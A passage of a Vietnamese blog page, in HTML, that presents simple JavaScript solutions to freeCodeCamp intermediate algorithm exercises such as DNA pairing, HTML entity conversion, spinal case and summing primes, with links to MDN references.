0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - DNA Pairing</h2> <p>Các DNA đang thiếu các thành phần tương ứng. Hãy tìm các kí tự tương ứng với thành phần cho trước rồi trả về kết quả là một mảng 2 chiều.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">pairElement</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> ans <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">val</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> tmp <span class="token operator">=</span> <span class="token punctuation">[</span>val<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">switch</span> <span class="token punctuation">(</span>val<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">case</span> <span class="token string">"A"</span><span class="token operator">:</span> tmp<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token string">"T"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">case</span> <span class="token string">"T"</span><span class="token operator">:</span> tmp<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token string">"A"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">case</span> <span class="token string">"G"</span><span class="token operator">:</span> tmp<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token string">"C"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">case</span> <span class="token string">"C"</span><span class="token operator">:</span> tmp<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token string">"G"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> ans<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>tmp<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">pairElement</span><span class="token punctuation">(</span><span class="token string">"GCG"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">Array.prototype.forEach()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push">Array.prototype.push()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---missing-letters" style="position:relative;"><a href="#intermediate-algorithm-scripting---missing-letters" aria-label="intermediate algorithm scripting missing letters permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Missing letters</h2> <p>Tìm kí tự thiếu ở một chuỗi các kí tự cho trước. Nếu tất cả các kí tự đầy đủ thì trả về <strong>undefined</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">fearNotLetter</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> str<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> currCode <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">charCodeAt</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> beforeCode <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">charCodeAt</span><span class="token punctuation">(</span>i <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>currCode <span class="token operator">></span> beforeCode <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span> String<span class="token punctuation">.</span><span class="token function">fromCharCode</span><span class="token punctuation">(</span>beforeCode <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">fearNotLetter</span><span class="token punctuation">(</span><span class="token string">"abce"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt">String.prototype.charCodeAt()</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode">String.fromCharCode()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---boo-who" style="position:relative;"><a href="#intermediate-algorithm-scripting---boo-who" aria-label="intermediate algorithm scripting boo who permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Boo who</h2> <p>Kiểm tra xem nếu một giá trị cho trước là kiểu boolean, rồi trả về kết quả là <strong>true</strong> hoặc <strong>false</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">booWho</span><span class="token punctuation">(</span><span class="token parameter">bool</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">typeof</span> bool <span class="token operator">==</span> <span class="token string">"boolean"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">booWho</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></li> </ul> <h2 id="intermediate-algorithm-scripting---sorted-union" style="position:relative;"><a href="#intermediate-algorithm-scripting---sorted-union" aria-label="intermediate algorithm scripting sorted union permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Sorted Union</h2> <p>Viết một <a href="/ham-la-gi-ham-trong-javascript/">function</a> nhận đầu vào là 2 hay nhiều array. Trả về một array mới bao gồm các phần tử duy nhất, theo đúng thứ tự ban đầu.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">uniteUnique</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> table <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">var</span> ans <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arguments<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> arguments<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span>length<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> val <span class="token operator">=</span> arguments<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>table<span class="token punctuation">[</span>val<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> ans<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>val<span class="token punctuation">)</span><span class="token punctuation">;</span> table<span class="token punctuation">[</span>val<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">uniteUnique</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments">Arguments object</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push">Array.prototype.push()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---convert-html-entities" style="position:relative;"><a href="#intermediate-algorithm-scripting---convert-html-entities" aria-label="intermediate algorithm scripting convert html entities permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Convert HTML Entities</h2> <p>Chuyển các kí tự &#x26;, &#x3C;, >, " và ' ở một string cho trước sang dạng <a href="http://dev.w3.org/html5/html-author/charref">HTML Entities</a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">convertHTML</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> table <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token string-property property">"&amp;"</span><span class="token operator">:</span> <span class="token string">"&amp;amp;"</span><span class="token punctuation">,</span> <span class="token string-property property">"&lt;"</span><span class="token operator">:</span> <span class="token string">"&amp;lt;"</span><span class="token punctuation">,</span> <span class="token string-property property">">"</span><span class="token operator">:</span> <span class="token string">"&amp;gt;"</span><span class="token punctuation">,</span> <span class="token string-property property">'"'</span><span class="token operator">:</span> <span class="token string">"&amp;quot;"</span><span class="token punctuation">,</span> <span class="token string-property property">"'"</span><span class="token operator">:</span> <span class="token string">"&amp;apos;"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> key <span class="token keyword">in</span> table<span class="token punctuation">)</span> <span class="token punctuation">{</span> str <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token function">RegExp</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> <span class="token string">"g"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> table<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> str<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">convertHTML</span><span class="token punctuation">(</span><span class="token string">"Hamburgers &lt; Pizza &lt; Tacos"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/tim-hieu-regular-expression-javascript/">Tìm hiểu Regular Expression JavaScript</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">String.prototype.replace() </a></li> </ul> <h2 id="intermediate-algorithm-scripting---spinal-tap-case" style="position:relative;"><a href="#intermediate-algorithm-scripting---spinal-tap-case" aria-label="intermediate algorithm scripting spinal tap case permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Spinal Tap Case</h2> <p>Convert một string sang dạng <strong>spinal case</strong> - bao gồm các chữ cái thường phân cách nhau bởi dấu -.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">spinalCase</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> words <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[\s_-]</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> words <span class="token operator">=</span> words<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">word</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> word<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[A-Z]</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">match<span class="token punctuation">,</span> offset</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> lower <span class="token operator">=</span> match<span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> offset <span class="token operator">></span> <span class="token number">0</span> <span class="token operator">?</span> <span class="token string">"-"</span> <span class="token operator">+</span> lower <span class="token operator">:</span> lower<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> words<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">"-"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">spinalCase</span><span class="token punctuation">(</span><span class="token string">"This Is Spinal Tap"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split">String.prototype.split()</a></li> <li><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/map">Array.prototype.map()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">String.prototype.replace() </a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase">String.prototype.toLowerCase()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join">Array.prototype.join()</a></li> </ul> <h2 id="intermediate-algorithm-scripting---sum-all-odd-fibonacci-numbers" style="position:relative;"><a href="#intermediate-algorithm-scripting---sum-all-odd-fibonacci-numbers" aria-label="intermediate algorithm scripting sum all odd fibonacci numbers permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Sum All Odd Fibonacci Numbers</h2> <p>Cho trước một số nguyên dương, tính tổng các số Fibonacci lẻ nhỏ hơn hoặc bằng số cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sumFibs</span><span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>num <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> num <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>num <span class="token operator">==</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">var</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> c <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">var</span> ans <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> c <span class="token operator">=</span> b <span class="token operator">+</span> a<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>c <span class="token operator">></span> num<span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>c <span class="token operator">%</span> <span class="token number">2</span><span class="token punctuation">)</span> ans <span class="token operator">+=</span> c<span class="token punctuation">;</span> a <span class="token operator">=</span> b<span class="token punctuation">;</span> b <span class="token operator">=</span> c<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sumFibs</span><span class="token punctuation">(</span><span class="token number">75025</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="intermediate-algorithm-scripting---sum-all-primes" style="position:relative;"><a href="#intermediate-algorithm-scripting---sum-all-primes" aria-label="intermediate algorithm scripting sum all primes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Sum All Primes</h2> <p>Tính tổng các số nguyên tố nhỏ hơn hoặc bằng số cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sumPrimes</span><span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">function</span> <span class="token function">isPrime</span><span class="token punctuation">(</span><span class="token parameter">val</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>val <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> val <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>val <span class="token operator">==</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> i <span class="token operator">*</span> i <span class="token operator">&lt;=</span> val<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>val <span class="token operator">%</span> i <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">var</span> sum <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;=</span> num<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isPrime</span><span class="token punctuation">(</span>j<span class="token punctuation">)</span><span class="token punctuation">)</span> sum <span class="token operator">+=</span> j<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> sum<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sumPrimes</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="intermediate-algorithm-scripting---smallest-common-multiple" style="position:relative;"><a href="#intermediate-algorithm-scripting---smallest-common-multiple" aria-label="intermediate algorithm scripting smallest common multiple permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intermediate Algorithm Scripting - Smallest Common Multiple</h2> <p>Tìm bội số chung nhỏ nhất của các số trong một khoảng cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">smallestCommons</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">function</span> <span class="token function">isDivisibleBy</span><span class="token punctuation">(</span><span class="token parameter">num<span class="token punctuation">,</span> from<span class="token punctuation">,</span> to</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> from<span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> to<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>num <span class="token operator">%</span> i<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">var</span> max <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> min <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">min</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> mul <span class="token operator">=</span> max<span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isDivisibleBy</span><span class="token punctuation">(</span>mul<span class="token punctuation">,</span> min<span class="token punctuation">,</span> max<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token keyword">else</span> mul <span class="token operator">+=</span> max<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> mul<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">smallestCommons</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max">Math.max()</a></li> <li><a 